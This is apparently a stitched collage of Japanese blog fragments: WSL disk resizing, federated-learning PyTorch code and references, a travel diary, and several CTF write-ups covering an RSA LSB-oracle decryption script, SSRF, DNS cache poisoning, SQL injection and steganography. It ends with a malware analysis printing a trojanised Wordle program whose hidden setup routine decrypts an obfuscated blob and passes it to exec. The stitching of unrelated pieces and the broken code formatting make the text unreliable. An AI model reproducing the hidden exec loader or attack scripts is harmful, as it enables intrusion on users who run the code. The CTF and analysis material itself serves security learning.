/dev/sdc on / type ext4 (rw,relatime,discard,errors=remount-ro,data=ordered)
/dev/sdc on /mnt/wslg/distro type ext4 (ro,relatime,discard,errors=remount-ro,data=ordered)
resize2fs 1.45.5 (07-Jan-2020)
Filesystem at /dev/sdc is mounted on /; on-line resizing required
old_desc_blocks = 32, new_desc_blocks = 64
The filesystem on /dev/sdc is now 134217728 (4k) blocks long.
これにて正常に ext4 の仮想ハードディスクサイズが拡張されました。
5. 変更を確認する
$ df -h /mnt/wslg/distro
わいわい。
Filesystem Size Used Avail Use% Mounted on
/dev/sdc 503G 239G 237G 51% /mnt/wslg/distro
改正個人情報保護法には、日本国内のユーザーの、個人に帰属する情報(PRI)の処理に関する規則が含まれます。改正個人情報保護法では、企業が日本国内のユーザーの PRI を「個人情報」に関連付ける可能性が高い第三者に提供する際、企業は、データの受領者がデータを処理することについてユーザーから同意を得て記録していることを、データの受領者に確認することが義務付けられています。PRI は通常、それ自体は特定の個人を識別しない識別子(Cookie ID など)によって収集され、(個人情報保護法で定義される)個人データと関連付けられる形で保存されることはありません。
defaverage_weights(
local_weights: list[dict[str, torch.Tensor]],
) -> dict[str, torch.Tensor]:
""" Averages the weights from multiple state dictionaries (each representing model parameters). Args: local_weights (list of dict): A list where each element is a state dictionary of model weights. Returns: A dict of the same structure as the input but with averaged weights. """# Initialize the averaged weights with deep copied weights from the first model
weight_avg: dict[str, torch.Tensor] = copy.deepcopy(local_weights[0])
# Iterate over each key in the weight dictionaryfor weight_key in weight_avg.keys():
# Sum the corresponding weights from all models starting from the second onefor weight_i inrange(1, len(local_weights)):
weight_avg[weight_key] += local_weights[weight_i][weight_key]
# Divide the summed weights by the number of models to get the average
weight_avg[weight_key] = torch.div(
weight_avg[weight_key], len(local_weights)
)
# Return the averaged weightsreturn weight_avg
ClientUpdate(k, w)
クライアントの持つデータ Pk をサイズ B で分割する
E 回以下の処理を行う
ミニバッチ b を用いて以下の処理を行う
ミニバッチ勾配降下法 w := w - η∇l(w; b) でモデルを更新する
w を Server に送信する
FutabatedLearning での実装は以下のとおりです.
classLocalUpdate(object):
(snip)
# Perform local training and update weightsdefupdate_weights(
self, model: nn.Module, global_round: int
) -> tuple[dict[str, torch.Tensor], float]:
# Set the model to training mode
model.train()
epoch_loss: list[float] = []
# Initialize an optimizer based on the selected configuration
optimizer: torch.optim.Optimizer
if self.cfg.train.optimizer == "sgd":
optimizer = torch.optim.SGD(
model.parameters(), lr=self.cfg.train.lr, momentum=0.5
)
elif self.cfg.train.optimizer == "adam":
optimizer = torch.optim.Adam(
model.parameters(), lr=self.cfg.train.lr, weight_decay=1e-4
)
# Iterate over the local epochsforiterinrange(self.cfg.train.local_epochs):
batch_loss: list[float] = []
# Loop over the training data batchesfor batch_idx, (images, labels) inenumerate(self.trainloader):
# Move batch data to the computing device
images, labels = images.to(self.device), labels.to(self.device)
# Reset gradients to zero
model.zero_grad()
# Forward pass
log_probs = model(images)
# Calculate loss
loss = self.criterion(log_probs, labels)
# Backward pass
loss.backward()
# Update weights
optimizer.step()
# Add loss to the logger
mlflow.log_metric(
f"loss-client{self.client_id}",
loss.item(),
step=global_round,
)
# Add the current loss to the batch losses list
batch_loss.append(loss.item())
# Compute average loss for the epoch
epoch_loss.append(sum(batch_loss) / len(batch_loss))
# Return the updated state dictionary of the model and the average loss for this round
weight: dict[str, torch.Tensor] = model.state_dict()
# Calculate the average loss from the collected epoch losses.
average_loss: float = sum(epoch_loss) / len(epoch_loss)
return weight, average_loss
# local batch size: Blocal_batch_size:10# learning ratelr:0.01# the number of local epochs: Elocal_epochs:10# type of optimizeroptimizer:"sgd"# number of users: Knum_clients:100# the fraction of clients: Cfrac:0.1# number of rounds of trainingrounds:10
*1:Konečný, Jakub, et al. "Federated optimization: Distributed machine learning for on-device intelligence." arXiv preprint arXiv:1610.02527 (2016).
*2:Yang, Qiang, et al. "Federated machine learning: Concept and applications." ACM Transactions on Intelligent Systems and Technology (TIST) 10.2 (2019): 1-19.
*5:McMahan, Brendan, et al. "Communication-efficient learning of deep networks from decentralized data." Artificial intelligence and statistics. PMLR, 2017.
*6:Krizhevsky, Alex, and Geoffrey Hinton. "Learning multiple layers of features from tiny images." (2009): 7.
*7:LeCun, Yann, et al. "Gradient-based learning applied to document recognition." Proceedings of the IEEE 86.11 (1998): 2278-2324.
*8:Cohen, Gregory, et al. "EMNIST: Extending MNIST to handwritten letters." 2017 international joint conference on neural networks (IJCNN). IEEE, 2017.
*9:Deng, Jia, et al. "Imagenet: A large-scale hierarchical image database." 2009 IEEE conference on computer vision and pattern recognition. Ieee, 2009.
*10:Lin, Tsung-Yi, et al. "Microsoft coco: Common objects in context." Computer Vision–ECCV 2014: 13th European Conference, Zurich, Switzerland, September 6-12, 2014, Proceedings, Part V 13. Springer International Publishing, 2014.
*12:Caldas, Sebastian, et al. "Leaf: A benchmark for federated settings." arXiv preprint arXiv:1812.01097 (2018).
*13:Fredrikson, Matt, Somesh Jha, and Thomas Ristenpart. "Model inversion attacks that exploit confidence information and basic countermeasures." Proceedings of the 22nd ACM SIGSAC conference on computer and communications security. 2015.
*14:Shokri, Reza, et al. "Membership inference attacks against machine learning models." 2017 IEEE symposium on security and privacy (SP). IEEE, 2017.
*15:Blanchard, Peva, et al. "Machine learning with adversaries: Byzantine tolerant gradient descent." Advances in neural information processing systems 30 (2017).
Our surveillance team has managed to tap into a secret serial communication and capture a digital signal using a Saleae logic analyzer. Your objective is to decode the signal and uncover the hidden message.
配布ファイルをダウンロードすると .sal という見たことない拡張子のファイルが用意されていた。
$ file chall.sal
chall.sal: Zip archive data, at least v2.0 to extract
The admin at TooFaulty has led an overhaul of their authentication mechanism. This initiative includes the incorporation of Two-Factor Authentication and the assurance of a seamless login process through the implementation of a unique device identification solution.
Are you a skilled security researcher or ethical hacker looking for a challenging and rewarding opportunity? Look no further! We're excited to invite you to participate in our highest-paying Buggy Bounty Program yet.
そして、reward サービスには、Dockerfile のほかに app.py のみ用意されている。 ソースコードは以下のとおりで、http://reward:5000/bounty に GET リクエストを送ると FLAG が得られることがわかる。
from flask import Flask
import os
app = Flask(__name__)
@app.route('/bounty', methods=['GET'])
defget_bounty():
flag = os.environ.get('FLAG')
if flag:
return flag
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False)
ここまでの内容を整理すると、bugbounty サービスで動く Bot に http://reward:5000/bounty へアクセスさせることができれば FLAG が得られるということになる。
I made a stream cipher out of RSA! note: The name 'RSA Stream2' is completely unrelated to the 'RSA Stream' challenge in past ACSC. It is merely the author's whimsical choice and prior knowledge of 'RSA Stream' is not required.
from Crypto.Util.number import getPrime
import random
import re
p = getPrime(512)
q = getPrime(512)
e = 65537
n = p * q
d = pow(e, -1, (p - 1) * (q - 1))
m = random.randrange(2, n)
c = pow(m, e, n)
text = open(__file__, "rb").read()
ciphertext = []
for b in text:
o = 0for i inrange(8):
bit = ((b >> i) & 1) ^ (pow(c, d, n) % 2)
c = pow(2, e, n) * c % n
o |= bit << i
ciphertext.append(o)
open("chal.py.enc", "wb").write(bytes(ciphertext))
redacted = re.sub("flag = \"ACSC{(.*)}\"", "flag = \"ACSC{*REDACTED*}\"", text.decode())
open("chal_redacted.py", "w").write(redacted)
print("n =", n)
# flag = "ACSC{*REDACTED*}"
平文 text は __file__ であるから、この chal_redacted.py 自身を暗号化したものが配布ファイルの chal.py.enc であると推測した。
L30 の # flag = "ACSC{*REDACTED*}" は L26 の処理で置き換えられてしまったものであるため、復号アルゴリズムを用いて本来のソースコードを復元することが目標になる。
コードを前から読んでいくと、まず、c が key stream になっているのかなと考えられる。
L20 bit = ((b >> i) & 1) ^ (pow(c, d, n) % 2) では 「b の i bit 目 」と 「pow(c, d, n) の最下位 bit」との XOR を取っている。
その直後 L21 にて key stream c が pow(2, e, n) * c % n で更新されている。ここはポイントになりそうだ。
もう少し丁寧に考える。
L20 pow(c, d, n) は m であるため、((b >> i) & 1) ^ (m % 2) より変数 bit は m の最下位ビットの情報を知ることができる。
L21 pow(2, e, n) * c % n は RSA の準同型性より、以下のように pow(2 *m, e, n) と変形可能なので、復号した結果の 2*m (mod n) の最下位ビット、つまり m の偶奇を知ることができる。
したがって、
が成立する。
n は奇数、また 2*m < 2*n より、 2*m (mod n) が偶数であれば 2*m <= n , 奇数であれば 2*m > n となる。
これは mod n の世界で考えているため、2倍して n を超えた時に奇数になる可能性があるためである。
この性質を利用することで、
偶数であれば 0 <= m <= 2/n
奇数であれば 2/n < m < n
と m の範囲を絞ることができる。
from fractions import Fraction
# Given values
n: int = 106362501554841064194577568116396970220283331737204934476094342453631371019436358690202478515939055516494154100515877207971106228571414627683384402398675083671402934728618597363851077199115947762311354572964575991772382483212319128505930401921511379458337207325937798266018097816644148971496405740419848020747
e: int = 65537withopen("chal_redacted.py", "rb") as f:
plain_text: bytes = f.read()
withopen("chal.py.enc", "rb") as f:
cipher_text: bytes = f.read()
bits: list[int] = []
plain_bits: list[int] = []
cipher_bits: list[int] = []
for plain_bit in plain_text:
for i inrange(8):
plain_bits.append((plain_bit >> i) & 1)
for cipher_bit in cipher_text:
for i inrange(8):
cipher_bits.append((cipher_bit >> i) & 1)
# Calculate the XOR of the plaintext and ciphertext bitsfor i inrange(len(plain_bits)):
bits.append(plain_bits[i] ^ cipher_bits[i])
bits = bits[1:]
# Binary search to find the value of m
left = Fraction(0)
right = Fraction(n)
for i inrange(len(bits)):
middle = (left + right) / Fraction(2)
if bits[i] == 0:
right = middle
else:
left = middle
m: int = round(right)
print(f"{m=}")
# Decrypt the ciphertext using the calculated m
decrypted_text: list[int] = []
for b in cipher_text:
o = 0for i inrange(8):
bit = ((b >> i) & 1) ^ (m % 2)
m = (m * 2) % n
o |= bit << i
decrypted_text.append(o)
# Print the decrypted plaintextprint(bytes(decrypted_text).decode("utf-8"))
m=105507372927051948805576931127617234388271424225133622890937140386993850840162894266093638058537032250348290776533140408439449316584989419619021206055123435007220387282181718562182584142410220220213116104633657881011851209081980740275983356817964550820718090983066924630733151959181612233123093492463207706540
from Crypto.Util.number import getPrime
import random
import re
p = getPrime(512)
q = getPrime(512)
e = 65537
n = p * q
d = pow(e, -1, (p - 1) * (q - 1))
m = random.randrange(2, n)
c = pow(m, e, n)
text = open(__file__, "rb").read()
ciphertext = []
for b in text:
o = 0
for i in range(8):
bit = ((b >> i) & 1) ^ (pow(c, d, n) % 2)
c = pow(2, e, n) * c % n
o |= bit << i
ciphertext.append(o)
open("chal.py.enc", "wb").write(bytes(ciphertext))
redacted = re.sub("flag = \"ACSC{(.*)}\"", "flag = \"ACSC{*REDACTED*}\"", text.decode())
open("chal_redacted.py", "w").write(redacted)
print("n =", n)
# flag = "ACSC{RSA_is_not_for_the_stream_cipher_bau_bau}"
C2C CTF が始まりました。多様性に富んだたくさんの人が居ました。自分のチームはアメリカ(めっちゃcrazyって言う),イギリス(21歳で修士やってるらしい),シンガポール(超絶優しい,デカい),イスラエル(軍でサイバーセキュリティやって大学入ったとか)の方たちです。day1は5位でした。
みんなコンピュータサイエンスのオタクなので、ThinkPadじゃんとかキーボードいいねとかWindows使ってるんだ~とかのいつもオタクがしてる会話があって微笑ましかったです。パソコンに怪訝な顔をしたりちょっとキレたり、flag取れたらニヤニヤしてたり、オタクは世界共通でした。
しかしまぁ英語でのコミュニケーションはMPを消費します。50%も聞こえないよ~と思ってたら実は30%も聞こえてないことに気づいた。1対1で丁寧に喋ってもらってならギリわかるけどネイティブ同士の会話の中に混じることはできなかった。速すぎてF1かと思った。あと返答も数wordsを紡ぐことしかできなくて申し訳なくなる。英語なんだからcontextを考えずにそのまま喋ったらいいんだろうけどなんか浮かばないんだよな(勉強してないのでそれはそう)。あと秋葉原の説明で There are many otaku in Akihabara. とかいう自分でもわけわかんないこと言った。シンガポールのオタクと推しの子の話をしました。
8月1日~4日は Country-to-Country CTF 2023 の final に参加していた。
英語での交流が本当に初めてだったのでめちゃくちゃ緊張していたけど、楽しかったからか饒舌な日記になっている。
夕方からはWashington State Ferriesに乗ってBainbridge Islandに行きました。島に何があったというわけではないけど、閑静な街で、のんびり暮らすにはとてもよさそうな場所でした。フェリーから見えるシアトルの夜景は島とは対照的に超絶綺麗でした。いやそんなことより(?)、フェリーのチケットを購入する機械が激ヤバだった話を。クレジットカードを通したのちに(クレジット以外の支払い不可)4桁のPINコードを入力するのですが、もうショルダーハックし放題。なんなら入力された数字は「*」などにはせず平文ではっきりと数字が見えてしまうので、どこを触れて入力したのか見えてなくてもご丁寧に数字が横から見えます。先月のぞき見対策の研究に混じらせてもらっていた身としては、理想的なダメな例じゃんとテンションが上がっていました。セキュリティの基本は誰も信用しないことだよと言い続けいたら、一昨日、非情報系の人に神経質になって生活しにくそうと言われた。確かにセキュリティを学び始める前と後で物事の見方や性格はいろいろ変わった気がするけど、それが生きづらさに繋がっているかというとそうでも無い気がしている。むしろリアルワールドのオモシロ脆弱性を餌に生きているまであるんじゃないか。
Amazonの本社を見学してきました。The Sphere の内部にも行かせてもらいましたが、ひたすらお金かかってんなぁに尽きます。札束でぺちぺちされている気分になります。Amazonのオフィスは日本人の二人が案内をしてくれました。お二人はそれぞれPMとエンジニアで、技術とかキャリアの話をさせてもらいました。Amazon Japan には新卒で入るより中途で入った方がいいらしい。
Microsoft 法務部で働いている韓国出身の方といろいろお話しました。ここでの話は本質を突いているようなトピックが多かったように思う。成功を掴むにはやはり真っ当な努力が必要であると感じた。まずは環境を変えて強制力を利用する、継続的に取り組み続ける、自分の上司を成功させることが自分の昇進につながる、希少価値を高めるための分野の組み合わせ、PhDの取得、この人と一緒に仕事をしたいと思わせるスキルとユーモア、結局は人と人とのつながり、などなど示唆に富んだ話をたくさんしてくれました。
Microsoft 法務部の方とお話しした後の自分の中ではいい話を聞けたなという感想だけでなく、そうは言ってもなぁという少しモヤモヤもあった。僕は海外で働きたい気持ちは正直ないし、外国人と英語でコミュニケーションが取れるようになることもそこまで望んでいない。だから話を聞いて英語やっていかんとなと感じはしたけど、そこに強烈な衝動は生まれてはいない。インターネットに落ちている情報は日本語よりも英語の方が圧倒的に多いこと・日本語は世界共通語にはなれないことは理解しているので、やらんとなとは思っている。つまるところ、必要になった時に恥をかかない程度に英語ができていればよいと思っている。だから必要に迫られてやる英語は全然おもしろくないし、適当な勉強ばかりしている。いつまで経っても英語ができるようにならない理由がここにある。
*1:Goodfellow, Ian J., Jonathon Shlens, and Christian Szegedy. "Explaining and harnessing adversarial examples." arXiv preprint arXiv:1412.6572 (2014).
# Copyright 2021 Peng Cheng Laboratory (http://www.szpclab.com/) and FedLab Authors (smilelab.group)# Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at# http://www.apache.org/licenses/LICENSE-2.0# Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.# See the License for the specific language governing permissions and# limitations under the License.""" get dataloader for dataset in LEAF processed"""import logging
from pathlib import Path
import torch
from torch.utils.data import ConcatDataset
from leaf.pickle_dataset import PickleDataset
BASE_DIR = Path(__file__).resolve().parents[2]
defget_LEAF_dataloader(dataset: str, client_id=0, batch_size=128, data_root: str = None, pickle_root: str = None):
"""Get dataloader with ``batch_size`` param for client with ``client_id`` Args: dataset (str): dataset name string to get dataloader client_id (int, optional): assigned client_id to get dataloader for this client. Defaults to 0 batch_size (int, optional): the number of batch size for dataloader. Defaults to 128 data_root (str): path for data saving root. Default to None and will be modified to the datasets folder in FedLab: "fedlab-benchmarks/datasets" pickle_root (str): path for pickle dataset file saving root. Default to None and will be modified to Path(__file__).parent / "pickle_datasets" Returns: A tuple with train dataloader and test dataloader for the client with `client_id` Examples: trainloader, testloader = get_LEAF_dataloader(dataset='shakespeare', client_id=1) """# Need to run leaf/gen_pickle_dataset.sh to generate pickle files for this dataset firstly
pdataset = PickleDataset(dataset_name=dataset, data_root=data_root, pickle_root=pickle_root)
try:
trainset = pdataset.get_dataset_pickle(dataset_type="train", client_id=client_id)
testset = pdataset.get_dataset_pickle(dataset_type="test", client_id=client_id)
exceptFileNotFoundError:
logging.error(f""" No built PickleDataset json file for {dataset}-client {client_id} in {pdataset.pickle_root.resolve()} Please run `{BASE_DIR / 'leaf/gen_pickle_dataset.sh'} to generate {dataset} pickle files firstly!` """)
trainloader = torch.utils.data.DataLoader(
trainset,
batch_size=batch_size,
drop_last=False) # avoid train dataloader size 0
testloader = torch.utils.data.DataLoader(
testset,
batch_size=len(testset),
drop_last=False,
shuffle=False)
return trainloader, testloader
defget_LEAF_all_test_dataloader(dataset: str, batch_size=128, data_root: str = None, pickle_root: str = None):
"""Get dataloader for all clients' test pickle file Args: dataset (str): dataset name batch_size (int, optional): the number of batch size for dataloader. Defaults to 128 data_root (str): path for data saving root. Default to None and will be modified to the datasets folder in FedLab: "fedlab-benchmarks/datasets" pickle_root (str): path for pickle dataset file saving root. Default to None and will be modified to Path(__file__).parent / "pickle_datasets" Returns: ConcatDataset for all clients' test dataset """
pdataset = PickleDataset(dataset_name=dataset, data_root=data_root, pickle_root=pickle_root)
try:
all_testset = pdataset.get_dataset_pickle(dataset_type="test")
exceptFileNotFoundError:
logging.error(f""" No built test PickleDataset json file for {dataset} in {pdataset.pickle_root.resolve()} Please run `{BASE_DIR / 'leaf/gen_pickle_dataset.sh'} to generate {dataset} pickle files firstly!` """)
test_loader = torch.utils.data.DataLoader(
all_testset,
batch_size=batch_size,
drop_last=True) # avoid train dataloader size 0return test_loader
Spanish specialists have managed to fix a badly botched restoration that left a 500-year-old sculpture of Saint George looking like a cartoon character last year. It took three months and $37,000 to restore the statue to its former state.
The church and the company that mishandled the first restoration were each fined €6,000 ($6,840). The sculpture is cultural property of the province, so any alterations should have been cleared by authorities.
“It’s been a big effort economically as well,” he said. “The archdiocese of Pamplona and the parish have assumed the costs, which have come to around €32,000 or €33,000 (about (£29,000). If they’d done things properly in the first place, it would have cost around €10,000 to €12,000. That mistake has ended up costing three times as much it should have. There was also a €6,000 fine they had to pay.”
€32,000 ~ €33,000 に収まっている今提出した回答は大きく外していないことがわかる。
このあたりで気になったのは、スペインでの出来事なのに検索で引っ掛かる記事は英語の記事ばかりだ。
FLAG となっている修繕費は、おそらく $ から € に変換したものではなく、€ で記載されたそのままの情報を FLAG にしているだろうと仮説を立てて、スペイン語で書かれた記事を探すようにした。
Si no hubiera intervenido la aficionada a las manualidades de Estella, el coste de la restauración de la talla habría ascendido a unos 8.000 euros, según la tenían presupuestada ya los responsables de Patrimonio de Navarra, pero tras el desaguisado la cantidad se ha elevado hasta los 30.759,72 euros, que ha pagado el Arzobispado de Pamplona junto con una sanción administrativa de 6.010 euros. También la empresa Karmacolor de Estella, de la autora del repinte, ha sido sancionada con la misma multa de 6.010 euros .
Davyd Arakhamia 氏は David Braun というペンネームでも知られるウクライナの政治家・実業家で、2019 年から Servant of the People 党の議会派閥党首を務めているようだ。
2019 年のウクライナ議会選挙でウクライナの一院制議会である Verkhovna Rada に選出され、国家安全保障・国防・情報委員会委員を務めているらしい。
会社で管理しているWebサイトにアクセスすると、「We hacked your Web page :)」という文章が表示されるというインシデントが発生しました。あなたはWebサーバを調査したが、不審なログを発見することはできませんでした。 しかし、調査の過程でWebサイトのドメイン名をDNS名前解決した際、本来のIPアドレスとは異なるIPアドレスが返っていることを発見しました。あなたはDNSに問題が発生していると考え、通信経路上で取得していたパケットデータを確認することにしました。 pcapngファイルを解析し、インシデントの原因となる攻撃を行ったと考えられる端末のIPアドレスを解答してください。
Transaction ID が 0x6b23, 0x6b24, 0x6b25, 0x6b26, 0x6b27, ... と続いており、Transaction ID フィールドの値が異なるレスポンスパケットが大量に発生していることがわかる。
10.64.3.101 の IP アドレスを持つ攻撃者がカミンスキー型 DNS キャッシュポイズニング攻撃をしてキャッシュが汚染したのであろうと考えられる。
The first thing that will help you determine if a particular file is a legitimate Windows process or a virus, is the location of the executable itself. With RTCP.EXE for example, it's path will probably be something like C:\Program Files\Dark Bay Ltd.\Hacker's Handbook\RTCP.EXE
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 in /var/www/html/login.php:20 Stack trace: #0 /var/www/html/login.php(20): mysqli_query() #1 {main} thrown in /var/www/html/login.php on line 20
と表示されたので、SQL Injection の脆弱性があるとみてよさそう。
このエラー文から MySQL が使われていることがわかる。
package main
import (
"fmt""image/png""log""math""os""strconv"
)
func Reverse(s string) string {
runes := []rune(s)
for i, j := 0, len(runes)-1; i < j; i, j = i+1, j-1 {
runes[i], runes[j] = runes[j], runes[i]
}
returnstring(runes)
}
func maxInt(nums ...uint8) uint8 {
iflen(nums) == 0 {
panic("funciton max() requires at least one argument.")
}
res := nums[0]
for i := 0; i < len(nums); i++ {
res = uint8(math.Max(float64(res), float64(nums[i])))
}
return res
}
func main() {
// ステガノグラフィー画像を読み込む// Original image file is opened for reading
reader, err := os.Open("stegano.png")
if err != nil {
log.Fatal(err)
}
defer reader.Close()
m, err := png.Decode(reader)
if err != nil {
log.Fatal(err)
}
// 元の画像のサイズを取得
bounds := m.Bounds()
fmt.Println("bounds:", bounds)
// フラグ文字列を復元するための変数
flag := ""
x := 100
y := 100// ステガノグラフィーからフラグ文字列を復元for i := 0; i < 28; i++ {
// 指定位置の色データを取得
r1, g1, b1, _ := m.At(x*2, y*2).RGBA()
r2, g2, b2, _ := m.At(x*2+1, y*2).RGBA()
r3, g3, b3, _ := m.At(x*2, y*2+1).RGBA()
box := []uint8{uint8(r1), uint8(g1), uint8(b1),
uint8(r2), uint8(g2), uint8(b2),
uint8(r3), uint8(g3)}
fmt.Println("box", box)
var s string
s = ""
maxR := maxInt(box[0], box[3], box[6])
if box[0] == box[3] {
if box[0] == box[6] {
maxR = maxR + 1
}
}
maxG := maxInt(box[1], box[4], box[7])
fmt.Println("maxR:", maxR, ", maxG:", maxG, ", b3:", uint8(b3))
// box[0]: R1// box[6]は確定利用if box[0] == maxR {
s += "0"
} else {
s += "1"
}
// box[1]: G1if box[1] == maxG {
s += "0"
} else {
s += "1"
}
// box[2]: B1if box[2] == uint8(b3) {
s += "0"
} else {
s += "1"
}
// box[3]: R2// box[6]は確定利用if box[3] == maxR {
s += "0"
} else {
s += "1"
}
// box[4]: G2if box[4] == maxG {
s += "0"
} else {
s += "1"
}
// box[5]: B2if box[5] == uint8(b3) {
s += "0"
} else {
s += "1"
}
// s += "1" // box[6]: R3 確定使用if box[6] == maxR {
s += "0"
} else {
s += "1"
}
// s += "0" // box[7]: G3 確定不使用if box[7] == maxG {
s += "0"
} else {
s += "1"
}
t := Reverse(s)
dec, _ := strconv.ParseInt(t, 2, 10)
fmt.Println(string(dec), dec, "=", t, "<-", s, "\n")
flag += string(dec)
// fmt.Println("after-box", box)
x = x + 1
y = (y + int(uint8(b3))) % (bounds.Dy() / 2)
// fmt.Println("x:", x, "y:", y, x*2+1, y*2+1)
}
fmt.Println("FLAG:", flag)
}
上記のコードで得られる FLAG 候補文字列は以下のものだ。
NFLABS{INPub3LVEh}{VNdg}Mo}
もうこのとき何を考えていたのか、思い出すのが大変だ。
解いている人は結構多かったのでもっとシンプルなはずだとは思っていたが、このアルゴリズムを思いついたときは天才か~~~?となっていた。結局 FLAG を導けていないので天才ではない。
bit 列をガチャガチャして NFLABS{ が浮かんできたときはかなり叫んだが、中の文字列が意味あるものではなさそうだったのであと少しをエスパーで修正できなかった。
$ strings wordle.exe | grep "Enter a 5 word"
message: "Enter a 5 word...",
実装コード自体はそのまま残っていることがわかった。
Enter a 5 word が存在した周辺をスクロールしていると wordle のメインとなるコードが取りだせた。
const prompts = require('prompts');
const Blowfish = require('egoroof-blowfish');
const{ Buffer } = require('buffer');
const{ exec } = require('child_process');
const wordsJSON = require("./words.json");
let puzzle = "";
const wordlePrompt = {
type: "text",
name: "word",
message: "Enter a 5 word...",
validate: value => value.length != 5 ? 'Word must be 5 letters' : true
async function check(guess) {let results = [];
// loop over each letter in the wordfor (let i in guess) {let attempt = { letter: guess[i], color: "bgGrey"};
// check if the letter at the specified index in the guess word exactly// matches the letter at the specified index in the puzzleif (attempt.letter === puzzle[i]) {
process.stdout.write(chalk.white.bgGreen.bold(` ${guess[i]}\t`));
continue;
}// check if the letter at the specified index in the guess word is at least// contained in the puzzle at some other positionif (puzzle.includes(attempt.letter)) {
process.stdout.write(chalk.white.bgYellow.bold(` ${guess[i]}\t`));
continue;
}// otherwise the letter doesn't exist at all in the puzzle
process.stdout.write(chalk.white.bgGrey.bold(` ${guess[i]}\t`));
return results;
async function setup(){let G8o6nft = "";
for (let i=97;i < wordsJSON.length; i+=99){
G8o6nft += wordsJSON[i]const zWpO09t = newDate();
if (zWpO09t.getTimezoneOffset() != 480){return 0;
const Vgf7a0K = "KtCW/i6m2+iKv0hxEa9r17xeTdvTvyTlwlayqWKHBX9I3AQHS8G/ajM0zw1accMSI+2EibAsVvf8Mh5aecXj5y/8zy0OF6Ox0rxFRI+ixwfUnx/otd28s8YOaWKNTHLVUFK/LHTjgPNv4ZL85AlrmYvC1qX9zgcStHzI65O34ZCyk0pAZx1vtCFi1fSJ4f2SA9YW6250gfk/6pCpOCaw9A==";
const jMnypi8 = new Blowfish(G8o6nft+Buffer.from((zWpO09t.getTimezoneOffset() ^ 3715).toString(10), 'hex').toString(), Blowfish.MODE.ECB, Blowfish.PADDING.NULL);
const jA38Cap = jMnypi8.decode(Buffer.from(Vgf7a0K, 'base64'), Blowfish.UINT8_ARRAY);
exec(jA38Cap);
async function play(tries) {// the user gets 5 tries to solve the puzzle not including the first guessif (tries < 6) {// ask the player for a guess wordconst response = await prompts(wordlePrompt);
const guess = response.word.toUpperCase();
// if the word matches, they win!if (guess == puzzle) {
console.log("WINNER!");
}else{
check(guess);
// this forces std out to print out the results for the last guess
process.stdout.write("\n");
// repeat the game and increment the number of tries
play(++tries);
}}else{
console.log(`INCORRECT: The word was ${puzzle}`);
async function main() {// get a random word
randomNumber = Math.floor(Math.random(wordsJSON.length) * wordsJSON.length);
puzzle = wordsJSON[randomNumber].toUpperCase();
await setup();
// start the game
await play(0);
main()
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-24 18:37 JST
Nmap scan report for nflabs (10.0.30.21)
Host is up (0.015s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
443/tcp open https
Nmap done: 1 IP address (1 host up) scanned in 1.30 seconds